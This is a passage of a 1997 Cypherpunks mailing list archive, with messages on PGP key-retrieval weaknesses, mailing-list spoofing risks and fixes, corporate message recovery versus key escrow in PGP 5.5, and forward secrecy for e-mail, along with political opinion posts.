e-mail addresses that the messages was sent to (minus the BCC's of
course).

I have allot more goodies implemented and/or working on but that should be
enough for one message (direct keyring manipulation, remailer support,
stamper support, PGP/MIME, balanced b-tree as keyring, ...ect). Much of
the optimization work I have been doing is for server side processing
useing very large keyrings (+20Mb) but that is another thread in itself.
Plus I have a PGP GUI which has many other features for key management &
WOT not practical for the automated processing code.

>My setup is GNU emacs with Pat LoPresti's mailcrypt.el PGP and remailer
>support lisp extension for emacs RMAIL and emacs GNUS (newsreader).  I
>love it to bits.  It is totally excellent.  It doesn't have a couple of
>your optimisations, but other than that it's pretty good.  When you send
>messages, if you don't have the key it will fetch it for you by trying
>keyservers, then finger user@domain. It can snarf keys out of mail
>messages, paste keys into them, sign, encrypt, check signatures, use
>remailers (type I and mixmaster).

Sounds good except the retrieval of keys from the finger. This is a
serious weakpoint in your security. Say you have Adam who wishes to
communicate with Mary. He get's Mary's key from her .plan file via finger.
Eve has control of the server and replaces Mary's key with her own. Now
you encrypt message to Mary but you are using Eve's key. Eve decrypts the
message re-encrypts with Mary's and neither of you are the wiser. This is
also a weakness in the distributed key approach as it presents a single
source of failure unless some type of redundancy is built in. I know that
there are many issues involved in this and probably should be spun off
into a separate thread if you are interested in pursuing it (too many
disjointed subjects in one thread tends to become confusing).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 14 Oct 1997 03:33:17 +0800
To: jeffb@issl.atl.hp.com
Subject: mailing list attacks (was Re: Stronghold)
In-Reply-To: <199710131452.KAA26663@jafar.issl.atl.hp.com>
Message-ID: <199710131455.PAA02279@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Jeff Barber <jeffb@issl.atl.hp.com> writes:
> > Dimitri Vulis <dlv@bwalk.dm.com> writes:
> > > did _not appear on the "unedited" list. Nevertheless at least one
> > > lying C2Net shill from Hewlett Packard claims that my articles
> > > appearing on the unedited list on January 30th prove that I wasn't
> > > being filtered from "unedited" one week later.
> > 
> > Some thing's just can't be proven.  That logic clearly doesn't flow.
> 
> For the record, I made no such claim.  In fact, my exact words were:
> 
> [me:]
> > Since obviously none of us who were on the -unedited list can say for 
> > sure whether we received everything sent to it, I can't say with 
> > certainty this never happened.  But....
> > This is the problem with being known as a liar.  Nobody is inclined to
> > believe what you say without substantitation.  So I still don't see any
> > reason to believe that anything was "censored" from the unedited list.

One additional reason to believe that at least some things were
disappearing from the unedited list was Attila's claim that some of
his posts weren't getting through to the unedited list also.

Notice that I don't say why they were disappearing because that is
almost difficult to prove at this point.  I detailed Attila's claims
in the post you are replying to.

> But Dimitri has claimed that there were "numerous people" who were 
> CC'd to the message that is alleged to have disappeared from -unedited.
> I'm sure they'll all be chiming in to back him up just like John Young 
> did. :-)

Mailing lists are pretty vulnerable to spoofing in various ways.  At
the time of the attack, an additional possible class of spoof which
may or may not have been occuring would have been:

For someone to use the list of subscribers available for the lists
homed at majordomo @ toad.com to fuck with peoples minds.  For example
by sending messages with forged From & other headers making them
appear as if they did come from toad.com to all subscribers, or some
subset of them.

That would allow one to construct some very interesting problems: for
example Sandy apparently passing to the edited list something which
seemed violently out of character, but sending it to everyone but him,
so that he would deny seeing it even, and look like every one else as
if he were blatantly lying.

Or to generally mess with who you sent to for different lists and
combinations of lists.  This would allow you to construct all sorts of
apparently independently confirmable conspiracy theories.

I'm not sure some of these things weren't happening.  There are a few
current and former list members who delight in this kind of clever
prank.

Reckon you could do something about some of these attacks by adding
signatures on outgoing mail from the mailing list, and by posting
regular message digests of posts to the list to make it harder for
people to deny service to one individual.

Even unsubscribing and subscribing other people was not prevented
originally with toad, but there are existing methods to solve this
problem in that newer versions of majordomo allow nonces to be sent
for confirmations of these things.  Doesn't stop recursive list
subscriptions, nor subscribing one list to another (because the
attacker can see the nonce appear in the list).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jmayorga@netscape.com (John Mayorga)
Date: Tue, 14 Oct 1997 07:19:47 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: Quantum Computing
In-Reply-To: <199710120611.CAA29682@homeport.org>
Message-ID: <3442A853.ADDA4522@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain

To answer Adam's question on quatum computing, see:
http://feynman.stanford.edu/qcomp/artlist.html

Interesting stuff.  Nothing to do with encryption (except maybe breaking it in
the future).

John E. Mayorga

Standard disclaimer





Adam Shostack wrote:

> At Interop, someone mentioned to me that Nortel has announced a system
> for getting 192k over power lines.  Theres a link on their home page,
> but its broken.
>
> On another topic, someone asked me about a "new breakthrough in
> quantum computing."  Anyone know of an announcement in the last week?
>
> Adam
>
> Peter Trei wrote:
> | > To:            cypherpunks@cyberpass.net
> | > From:          Jonathan Wienke <JonWienk@ix.netcom.com>
> | > I heard on the ABC hourly news that some genius had figured out a way
> | > to use electrical power lines for data transmission, so that the power
> | > grid could be integrated into the Internet.  Does anyone have any
> | > details / pointers?
>
> --
> "It is seldom that liberty of any kind is lost all at once."
>                                                        -Hume






begin:          vcard
fn:             John Mayorga
n:              Mayorga;John
org:            Netscape Communications Corp.
adr;dom:        ;;501 E. Middlefield Road, Mountain View, CA 94043, USA;9;;;
email;internet: jmayorga@netscape.com
tel;work:       4556
x-mozilla-cpt:  ;0
x-mozilla-html: FALSE
version:        2.1
end:            vcard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Tue, 14 Oct 1997 04:32:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: America as a Shake Down Extortion State
In-Reply-To: <199710131547.RAA04977@basement.replay.com>
Message-ID: <3.0.2.32.19971013162440.006bd108@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>Let's face it.  This "challenge it and get a legal precedent" approach has 
>done absolutely nothing to stop America, formerly one of the freest 
>countries on earth, from slowly devolving into a socialist police state.

Well, I'd have to point out that America still qualifies as one of the freest 
countries on the Earth.  It's just that the average has gotten worse (and 
we're a bit closer to it now than we used to be.)


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 14 Oct 1997 06:11:51 +0800
To: Alan <cypherpunks@cyberpass.net>
Subject: Re: Building the Surveillance State
In-Reply-To: <3.0.3.32.19971011104004.03eec138@ctrl-alt-del.com>
Message-ID: <19971013.163259.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971011:1040 
    Alan <alan@ctrl-alt-del.com> was purported to have 
    expostulated to perpetuate an opinion:

+At 10:22 AM 10/11/97 -0700, Tim May wrote:
+>
+>-----BEGIN PGP SIGNED MESSAGE-----
+>Hash: SHA1
+>
+>I predict that nearly every company which enforces the PGP 5.5 corporate
+>snoopware will in fact routinely convert every incoming and outgoing
+>message to plaintext for searching by keywords, topics, etc.
+>
    I really think you are overreacting on this one --sure some will,
    but corporations who reduce employees to a level of "distrust"
    will find the employees doing same as they become inurred with
    the attitude that they are distrusted --so why not?

+>This would be analogous to every phone call, incoming and outgoing, being
+>recorded. 
+>
    stockbrokers work under those conditions, and have for years.

    dispute resolution

+>Except that instead of having security people _listen_ to each
+>recording, 
+>
    voice recognition software today easily handle a conferance call
    with more than adequate accuracy to support digital keyword sorting.
    NSA has been doing that for years, and the software is at the PC
    level now.

+>the messages can be glanced at quickly, marked for further
+>review, compiled into dossiers, or searched for the keywords of interest to
+>the security people.
+>
    same reason as above; if you give no level of trust, you will have
    no level of respect or honesty.  employers also realize that the
    "mental health" and attitude of their employees is critical to job
    performance --and employee retention; turnover is expense in more 
    ways than money.

    to blanket label corporations to scan for keywords in all cases is
    like saying all Southern slave owners were Simon Legree --which is
    patently absurd since destroying or dehibilitating the collateral
    was damaging to their personal finances.  sure, there will be bad
    apples...  personally, I have seen secure facilities where you
    check your fingers in at the desk... and, you need to whiz, you are
    not only escorted to the porcelain, but the security guard will be 
    right next to you.

+>(Please note that I am not saying such phone call or e-mail monitoring is
+>illegal, or should be illegal. A property owner is free to define his own
+>policies for how he uses his own property. This includes company phones,
+>company computers, and even the time of employees while they are on his
+>premises. The issues are not the legality or ethicality of such recordings
+>and monitorings, but the dangers. And whether people such as ourselves
+>should help build or deploy such surveillance capabilitities. Or work for
+>companies with such surveillance policies.)
+>
    it sounds trite to say that if we do not, someone else will. I would
    rather believe we should be involved in the project to a) try and
    maintain a reference point of "wisdom", and b) even more importantly,
    to *know* there are no further trap doors, etc.  'know thine enemy'

+>I further predict that this will actually _increase_ the amount of e-mail
+>surveillance being done. Whereas today it is of course easy for companies
+>to surveil unencrypted employee mail, I doubt that most of them do. But the
+>adoption of snoopware like PGP 5.5 will raise the consciousness of company
+>security people. "Hmmhh, maybe we ought to buy some of those e-mail keyword
+>analyzers and combine them with our new purchase of PGP 5.5? If our
+>employees are encrypting, we'd better keep tabs on them."
+>
    law of diminishing returns. employers are sensitive to employee
    grousing.  second, if the system is using keyword search, it should
    be coming up blank in personal mail.

    as for the libel message to sue@m$, the message should not have
    been sent --PGP or no PGP.  get a hotmail account!

+>By building in such easily-enforceable snooping capabilities, and by
+>building in such things as the ability to reject even _incoming_ e-mail
+>which has failed to encrypt to the corporate key (as I understand the
+>product), this greatly moves us toward a surveillance era.
+>
+>Is this what "Pretty Good Privacy" really stands for?

    again, get a hotmail account.

    either PGP provides a complete range of control in the SNMP goody
    or systems with less flexibility will be deployed, systems that 
    are truly GAK.

    the real issue for cypherpunks, and the whole range of the 
    privacy forums, watch lists, Declan, Meeks, whatever is to
    broadcast the fact that PGP 5.5 can be used for storage key
    levels which most of us are willing to accept.

    stand up and be counted on the soapbox. I have been involved in 
    crypto since a lot of years before DH and RSA were published. I
    never really thought about separate signature and encryption 
    keys 

    I actually encryt very little, but sign everything --and am in
    the process of REXXing a script to sign html documents for email.

    that is the purpose of discussion; even old dawgs can learn new tricks 
    occasionally.

+I seem to remember that it was just this sort of feature set that Phil
+Zimmerman was grousing about when ViaCrypt came out with their
+"Business Version".  It was used as one of the reasons for his takeover
+of ViaCrypt.

+I guess it shows you just how much influence he has on PGP inc now...

    no, not how much influence Phil has at PGP, but how much influence the 
    needs of business influence Phil and PGP.

    look at it this way.  the boss is the employee of the customers.

+"We have always supported the needs of law enforcement.  We have always
+been at war with terrorists and law breakers." - Winston Zimmerman

    yeah, right.  dont you mean 'Neville Zimmerman'?

 --
 "When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me! " 
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 14 Oct 1997 06:12:15 +0800
To: Adam Back <hal@rain.org
Subject: Re: CMR paves the road to GAK, and provides no corporate security.
In-Reply-To: <199710121053.LAA01120@server.test.net>
Message-ID: <19971013.170615.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    original message(s) follow my comments:

    1.  agreed that GAK is awful from a security standpoint. it is just
        a huge hole open to abuse by supposedly trusted escrow agents and
        the usual government dishonesty and deceit.

        on top of that, GAK is an unpardonable sin, with CAK not far
        behind.

    2.  CMR does not lead to GAK. let's get the terms correct as to what
        can be done, versus what will be done.

        a)  there will be companies who start with GAK/CAK since it is
            simple to issue an order of compliance.

        b)  there will be companies who need to maintain content audit
            trails a) to prove they either did or did not do as stated,
            b) development records, etc. for instance for patents, c)
            historical customer records.

            hopefully this class will use signature, communications,
            and individual or group storage keys.  the need for encryption
            is paramount on computer systems --it is the equivalent of
            the locked file cabinet, sometimes in a locked secure area.

        c)  PGP today can meet the requirements of GAK, CAK, CMR, or
            just about any format you wish --and make corporate control
            a reality. 

            I could have a crude, but workable control program which would 
            prevent the use of pgp standalone as well --and I could have it
            up and running by tonight.

            secondly, add a few modifications to sendmail, and trying to
            slip one through the system is history.

    stating that CMR leads to GAK is the same argument that mary jane
    starts the victim on the road to horse.  

        -how's that allegorical illusion to blow by keyword scanners?

    likewise, I still believe I would much rather see PGP, Inc. implement
    a SNMP system to mandate corporate policy which can be adjusted from
    zero for the libertarians to GAK for the unpardonable sinners.  at
    least the employees of the latter can protest the ignorance of 
    management; despite the general attitude that all management personnel
    are the south ends of northbound horses, management is interested in
    calm, productive employees.

    if the government does mandate GAK, and really gets serious about
    enforcing it, there will be a lot of changes, and I for one will
    trade my computer for something more necessary as I build a bunker to     
    protect myself and children --there will be no government about that 
    time, or at least a government we will recognize.

        attila out, again


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on or about 971012:1153 
    Adam Back <aba@dcs.ex.ac.uk> was purported to have 
    expostulated to perpetuate an opinion:

+[Padgett, you're Cc'd because I'm quoting something you once claimed on
+Perry's list, I think]

+I agree with basically every word Peter Trei wrote.  It's not often you
+agree with a long post like that 100%, but I could not fault a single
+point.

+Contrast that to PGP's Jon Callas's recent posts where I found myself
+disagreeing with a large proportion of both technical and political
+points.

+Just a couple of nit-picky comments on various things, and some
+re-iteration of the technical arguments against GAK compliancy (to
+supplement Peter's good political arguments):

+> >* Clipper was a 64-bit key. CMR symmetric keys are full-strength keys (128
+> >bits or more), backed with a full-strength public key.
+> 
+> A word of advice: don't try to discuss Clipper in this forum without checking
+> your facts. Clipper used an 80 bit key.

+Clipper was definately advertised as a 80bit key, I agree.

+But I did once see someone else claim that it was a 64 bit key, and
+this was by Padgett Peterson, who is usually pretty good with facts,
+though perhaps his claim was speculation in this case.  (I've added him
+to the Cc).

+His reasoning was that the 16 bit checksum (which Matt Blaze
+demonstrated could be brute forced thereby trashing the GAK
+enforcement) would come out of the 80bit key size, thereby meaning that
+it was only an effective 64 bit key.  I suppose this claim if it is
+correct would be similar to DES keys being 64 bit, but 8bits being
+parity (checksum again), and therefor being only 56 bit effective. The
+DES case would set a precedent for NSA design involvement using larger
+"keys" than effective keys.  If this is true, the clipper / skipjack
+system was even more flawed than we believed, as not only was it
+possible to brute force the checksum, but the key space could have been
+brute forced also, possibly without knowing the algorithm either, just
+by buying lots of clipper chips (though I think this would require
+knowledge of the checksum algorithm).  But clearly the NSA could have
+brute forced the traffic in addition to having back doors.

+Of course, I think it likely that the key was actually a 96 bit key
+with an effictive key size of 80bits after the 16 bit checksum.

+Regardless, if Padgett's speculation is correct, I suspect this is not
+what Jon was thinking.

+> > * With Clipper, there was a central repository of all the keys. With CMR,
+> > there is not. I discussed that in detail in my message, "Why Corporate
+> > Message Recovery isn't Key Escrow."
+> 
+> Once again, you haven't checked the record. Clipper keys were to be split, 
+> with different halves going to different government agencies. There were
+> fairly elaborate plans to prevent posession of only one half giving an
+> attacker an advantage. Thus there were *two* repositories, not one. 
+> (From the point of view of the paranoid, this was not much of a
+> comfort - both repositories belonged to the same entity.)

+I must defend Jon a little bit here in that it was fairly widely agreed
+that the wording in some of the Clipper documents (perhaps FOIAed,
+perhaps released normally, don't know) that the NSA would have an extra
+access for "national security" (there's that magic root password to the
+constitution again).  The presumtion a lot of people held was that the
+NSA would have a second unified copy of the split databasee to enable
+this national security access.  I'm not sure of course that this is
+actually ever explicitly admitted anywhere, and it could be that they
+would just have direct access to both split databases, but I wouldn't
+really have thought this was the likely; I suspect the NSA would've
+wanted access without others even with in special wire-tapping courts
+knowing their tapping activities.

+Whether or not this is what Jon was referring to I don't know.


+I agree with the negative political aspects Peter expressed of PGP's
+"GAK compliancy" (as I like to call it) in PGP's pgp5.5 & SMTP policy
+enforcer.

+I also think there is a purely technical security case to be made
+against this architecture which I have tried to lay out clearly in my
+post titled:

+	Subject: negative security aspects of GAK compliancy

+Peter made some security points about this also.  I think we should be
+able to win the argument about GAK compliancy purely on technical
+reasons.

+The only vaguely logical objection I've seen to arguing against GAK
+compliancy on political grounds was Hal Finney's assertion that OpenPGP
+should move towards more generalised forms of key assertions in the
+form of PolicyMaker-like key assertions (Matt Blaze has a paper and
+system called PolicyMaker).

+However PolicyMaker I suspect will be a long time coming, and may not
+be supported by all vendors due to complexity, and in addition even
+with PolicyMaker, the same political and security arguments against
+actual use of PGP Inc's GAK compliancy field (or PolicyMaker assertions
+to the same effect) still forcefully apply.  And there are still in
+particular security and political arguments against implementing
+corporate access to mail archives, or corporate sent/received mail
+snooping by using the SMTP GAK compliancy policy enforcer.

+Lastly I would comment that it is sad that we on cypherpunks are having
+to expend so much energy trying to persuade PGP Inc with it's supposed
+pro-privacy stance, and supposedly pro-privacy employees, that they
+should be working against GAK, and even to get them to acknowledge that
+what they are doing is pro-GAK, and big brotherish is an uphill
+struggle.

+PGP Inc with their poor PR management, and hugely insensitive pro-GAK
+moves mean that PGP Inc is pissing away Phil Zimmermann's good
+reputation at a huge rate of knots.

+Wake up PGP.  Look what you are becoming.

+Adam


 --
 "When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me! " 

 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 14 Oct 1997 07:20:20 +0800
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: CMR paves the road to GAK, and provides no corporate security.
In-Reply-To: <19971013.170615.attila@hun.org>
Message-ID: <3442AA75.A8E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Attila T. Hun wrote:

>         c)  PGP today can meet the requirements of GAK, CAK, CMR, or
>             just about any format you wish --and make corporate control
>             a reality.
> 
>             I could have a crude, but workable control program which would
>             prevent the use of pgp standalone as well --and I could have it
>             up and running by tonight.
> 
>             secondly, add a few modifications to sendmail, and trying to
>             slip one through the system is history.
> 
>     stating that CMR leads to GAK is the same argument that mary jane
>     starts the victim on the road to horse.

  One problem is that Corporations are learning that it is in their best
interests, and moreover, *possible*, to computerize access to private
employee information both on and off the jobsite.
  As well, corporations share information amongst themselves that they
do not share with even the employee in question.

  There was the case of a man who tested positive for AIDS when getting
a physical, etc., for company health insurance. The health insurer 
turned him down for coverage, and wouldn't tell him why, although they
told his employer and every other health agency in the world. The man's
wife contacted AIDS much later and is now going to die, as well. 

  Companies exist who *require* their employees to put in long, unpaid
hours, center their life around the company, yet regard all of the
employees communications, even during *unpaid* time, to be owned by
them. Then they will turn around and fire said employee when they
read his/her private email and find out there is a history of cancer
in the family, or some such, even if it is in their imagination.
  There are already cases of people being denied health coverage
because of 'pre-existing' conditions, based on the fact that their
company communications revealed that their great-grandfather had the
same disease, etc.

  These are just small examples off the top of my head, but I know I
see more and more use of private information gleaned from inside and
outside companies to determine everything from health coverage to
promotions.
  I personally know of a woman who has been consistently denied 
promotions because her company's investigation of her revealed that
many of her female relatives have a large number of children. When
she changed jobs, that information was actually sent to her new
employer. (Perhaps she could spend the next ten years of her life
suing someone/everyone, but that's no way to live.)

  The strange shit is already happening, and will increase, as the
Corporations feel that what is good for the Government Gander is
good for the Corporate Goose.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 14 Oct 1997 06:11:55 +0800
To: Tim May <cypherpunks@cyberpass.net>
Subject: Re: D-H Forward Secrecy for E-Mail?
In-Reply-To: <v03102801b066b3b308e0@[207.167.93.63]>
Message-ID: <19971013.173323.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    great idea, Tim. [total previous text follows my comments]

    paraphrase of Tim's basic suggestion:

        ...to consider DH session keying in real time or the latency of 
        maybe IRC, etc (several seconds?) to be able to dispose of the 
        session keys which makes subpoenas signifantly more difficult.

    Netscape's default mail setting is to handshake the destination
    server.  eg through sendmail. it will not return until it gets it
    or times out --then it tells you to try later and there is no
    way to file it easily --in other words, a problem to avoid.

    I am presuming the DH keys would be a wrapper on an already 
    encrypted message, although target machine can re-encrypt to
    recipient on a secure machine.

    1)  sendmail could be modified to do yet another function (essentially 
        describe in b); or,

    2)  I would prefer to run yet another daemon on every machine at a 
        specific port with the usual 'who are you' identify sequences, 
        preferably even changing it to call back to lesson spoofing, 
        despite the fact additional logic is required to kill denial of 
        service attacks.

        all that would be required would be the n number months/years
        wait for IETF to agree on a port and the protocol...

        the rest of it is pretty stock at the daemon side. the inside
        is where the fun begins.  If the message is already encrypted,
        (was inside DH wrapper) it can be delivered; otherwise:

        a)  if the machine is secure, the email can be delivered to the
            user's box

        b)  if the machine is the usual, then the daemon needs to use
            a local secret key to encode to the local user's public
            key to maintain an encrypted message.

    complicated? not from my perspective v. some of the other nightmares.

    using sendmail would be the fastest route to enablement, but it 
    probably would be years before sendmails were updated and aan old
    sendmail could just accept the call and hang one or the other without
    a resolution.

    the more we are wired, the more feasible it becomes.

    it would be nice if the usual store and forward of sendmail could
    be utilized. I think it would be very difficult to use sendmail itself,
    but it should be possible to use an independent daemon to perform
    the same function.  there would just be multiple DH sessions --much 
    like the cp remailer network; the few times I used mixmaster a few
    years ago, I sent an encrypted packet.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

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Charset: latin1
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-----END PGP SIGNATURE-----


on or about 971012:1016 
    Tim May <tcmay@got.net> was purported to have 
    expostulated to perpetuate an opinion:

+At 2:48 AM -0700 10/12/97, Adam Back wrote:

+>Once you acknowledge that it is more secure to have short lived
+>communication keys (which in my view it very clearly is), it should be
+...

+Just what are some of the issues with us getting D-H-type perfect
+forward secrecy with something like e-mail? I assume this must be
+possible, of course, as D-H is used in just these ways. (The Comsec
+3DES phone I have does this, of course.) (To repeat what has already
+been said, forward secrecy means some of the important keys are not
+kept or stored, and so a subpoena at some future time to produce the
+keys used in a communication is pointless. Cf. Schneier for more.)

+First and foremost as a requirement would be the need for a
+back-and-forth communication, in a real-time or nearly real-time mode.
+This rules out conventional e-mail with its long a variable latencies
+for delivery. (Not to mention diverse clients and their inability to
+respond automatically!)

+But IRC, chat rooms, Internet telephony, etc., are all common. With
+latencies of ~seconds, or even less.

+I picture conventional e-mail being replaced, for this application,
+with this kind of system. Maybe D-H forward secrecy systems already
+exist....

+Forward secrecy might be arrangable even with long-latency links...it
+seems to me. (Through a series of links, compute and store the D-H
+parameters, then use them with conventional e-mail for the "payload"
+message?)

+--Tim May


+The Feds have shown their hand: they want a ban on domestic
+cryptography
+---------:---------:---------:---------:---------:---------:---------:----
+Timothy C. May              | Crypto Anarchy: encryption, digital
+money, ComSec 3DES:   408-728-0152 | anonymous networks, digital
+pseudonyms, zero W.A.S.T.E.: Corralitos, CA  | knowledge, reputations,
+information markets, Higher Power: 2^2,976,221   | black markets,
+collapse of governments. "National borders aren't even speed bumps on
+the information superhighway."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 13 Oct 1997 23:54:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: America as a Shake Down Extortion State
Message-ID: <199710131547.RAA04977@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Ryan Anderson wrote:
>That's the point - you ignore the legislation until it becomes a problem 
>for you.  Then you challenge it and get a legal precedent to stop it from 
>happening again.
>
>The judicial system is in *much* better shape than the legislative system 
>(even though they are strongly related)
>
>This, however, is not to say that the judicial system is in good shape.

You're ignoring the fact that the legislative and the judicial are just two 
different horns on the same beast.  "Please impale me with the kinder, 
gentler horn," is what you're saying.

Let's face it.  This "challenge it and get a legal precedent" approach has 
done absolutely nothing to stop America, formerly one of the freest 
countries on earth, from slowly devolving into a socialist police state.

That's why I say fuck the lawyers, and fuck the legislators, too.  If a 
roomful of morons are writing up ludicrous rules and you're gullible enough 
to listen to them, then who's the real moron?

Ignore them.  Set a precedent in life.  I'm suggesting active civil 
disobedience by every thinking person in this country.  I'm not saying blow 
up a federal building or any other such nonsense.  Be responsible for your 
actions, but act!  And act intelligently...

[ Imastun ]


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 14 Oct 1997 06:03:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Attitude and Assumptions
In-Reply-To: <3.0.3.32.19971010180024.00ad8ce0@mail.pgp.com>
Message-ID: <97Oct13.175129edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 10 Oct 1997, Jon Callas wrote:

> In the course of all the discussion here, I have seen a number of implicit
> attitudes and assumptions that irritate me. This is a short rant to air my
> irritation.

I would hate to see your *long* rants ...................:^)

> The first thing that bugs me is what I'm calling Crypto-Correctness. I
> don't know a single person on cypherpunks who is against privacy, or is
> against the notion that in the information society, keeping and bearing
> crypto is an inalienable human right. Politically, I'm a Lockeian, and put
> privacy up there with Locke's basic trio of life, liberty, and property. As
> part of this, I fight the stupid notion that because there are bad people
> out there, rights should be abridged. 

I express it as private information is my property and I should have
whatever means necessary to protect it.  And as crypto can be directly
used only as a shield and not a sword, there are no reasonable arguments
against me using it.

> I believe that the central thesis of crypto-freedom is that it doesn't
> matter if a document is on paper or in a text file; it doesn't matter if a
> conversation is on the phone or in a restaurant. The medium doesn't matter.
> My papers and effects have the same protection on a disk as on paper itself.

This is really unexplored.  I would extend rights in the physical world
into cyberspace.  And you are right [in an elided section] that
corporations or businesses aren't thought of.  Most of the arguments
against intellectual property is toward releasing it where it is free, but
there is an equal or greater threat of charging for the information
without paying royalties.  There are vandals, but there are also thieves.

> We all know that deployment is the key. But real deployment means deploying
> to people who don't know how their toaster works, too. If we don't solve
> this problem, we'll get hit with the backlash. Just you wait, once crypto
> becomes trendy, there will be a Time cover story with some headline like,
> "How Much Privacy is Enough? Who's Really After You, Anyway?" and in it
> will be sob stories about how people lost their passphrases, were
> blackmailed by employees (ask me, I have real-world tales of this), or
> can't decrypt their backups. Congress will have hearings, and they aren't
> going to be fun to watch. Is trying to head this eventuality off (yes, I
> believe it's inevitable) really the work of Satan?

No, but I don't know if your solutions are real.  Does PGP 5.5 prevent
encrypting non-CAK, then reencrypting CAK to pass through the mailers?
GAK/CAK has lots of technical problems, and I don't know that you have
solved them.  You assume that someone like the boss in the Dilbert cartoon
is going to make this all work (or will they write the corporate
passphrase on their deskpad)?

I tend to be neutral to CAK, except that I can't think of an easy way to
create something that is not snake-oil (i.e. that is easy, doesn't
compromise security if the CAKeepers are dunces, and insures that data
encrypted is accessible by the TTPs).

> The last thing that really, really bugs me is the hostility that's directed
> towards PGP Inc. because now we're an Inc.

> We put out a freeware product, hoping people will upgrade to the for-pay
> version. If you're thinking of your own startup, let me give you some
> investment advice: the crowd who thinks the X-files is a documentary
> doesn't upgrade to the for-pay version.

The windows versions I have seen don't allow me to select algorithms (they
default to CAST, so how do I get 3DES or IDEA), and neither did the Linux
version - the beta segfaulted on at least one combination of algorithms. 
Are all these little problems fixed?  And if so, you had to modify the
source, so is there a diff file you are going to publish much less a press
release saying what is or is not fixed (I see the part about
batch-friendly, but is that there yet, and how would I use that - you
could put your manuals online). 

I can't even buy a license for the scanned version which I can at least
fix these problems.  I would pay the $49 for the license to use a working
Linux version.  Maybe you should add a license issuing page to your server
so I can click and get an digitally signed HTML license (with a physical
one to be mailed later if needed). 

But for now my choice is to take a chance on the $49 downloadable version
(will it be another $49 for a half-fixed version, and another $49 when
the IETF finishes with the spec and 6.0 meets it?).  Does anything happen
differently if it has problems and I report them?

By the way, I can't even download it - your server requires switching to a
port our firewall doesn't let through (9999) which I emailed your
webmaster about three months ago.  There are other common alternate ports
that are allowed.  So I can't even really get the $49 version, I must pay
$79 (or spend an hour creating an IP tunnel to a recognized US DNS-IP
address which is what I did last time - I might do that for the freeware
version but not to purchase something). 

So I don't know if any of the problems in the freeware or betas are fixed,
and I can't even download it from your website.  Some hostility to the
"Inc." might be from your consumer relations more than your philosophy.

--- reply to tzeruch - at - ceddec - dot - com ---






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 14 Oct 1997 03:34:02 +0800
To: whgiii@invweb.net
Subject: Re: D-H Forward Secrecy for E-Mail?
In-Reply-To: <199710131045.GAA20731@users.invweb.net>
Message-ID: <199710131652.RAA02526@server.test.net>
